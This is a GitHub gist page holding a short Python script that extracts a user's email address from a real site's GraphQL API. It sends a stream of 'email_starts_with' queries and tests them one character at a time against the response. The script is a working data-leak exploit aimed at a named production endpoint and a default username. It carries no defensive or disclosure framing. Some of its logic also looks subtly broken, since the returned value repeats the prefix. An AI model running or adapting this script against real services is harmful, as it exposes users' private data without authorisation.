Last active
December 29, 2019 09:42
-
-
Save AgelxNash/e8bc55ea44d0798adf272269aa12ff86 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools, argparse, requests, string | |
def generator(prefix): | |
for pass_tuple in itertools.product(ALPHABET, repeat=1): | |
yield prefix + ''.join(pass_tuple) | |
def validator(password): | |
data = {"query": "{users(where: {username: \"" + USERNAME + "\", email_starts_with: \"" + password + "\"}) {username}}"} | |
r = requests.post('https://api.modxclub.ru/', stream=True, json = data) | |
return r.status_code == 200 and r.text == '{"data":{"users":[{"username":"' + USERNAME +'"}]}}' | |
def process(prefix, size): | |
for password in generator(prefix): | |
print "[ TRY ] " + password, | |
status = validator(password) | |
if status == True: | |
if len(password) != size: | |
print " next" | |
return process(password, size) | |
else: | |
print " found" | |
return prefix + password; | |
else: | |
print " fail" | |
return None | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-u', '--username', default='Fi1osof', help='Username') | |
parser.add_argument('-l', '--len', default=60, type=int, help='Length') | |
parser.add_argument('-p', '--prefix', default='', help='Prefix') | |
args = parser.parse_args() | |
USERNAME = args.username | |
MAXLEN = args.len | |
#ALPHABET = string.ascii_lowercase + string.digits | |
ALPHABET = string.ascii_lowercase + string.digits + '._-@' | |
found = process(args.prefix, MAXLEN) | |
if found == None: | |
print "Fail" | |
else: | |
print "Found: " + found |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment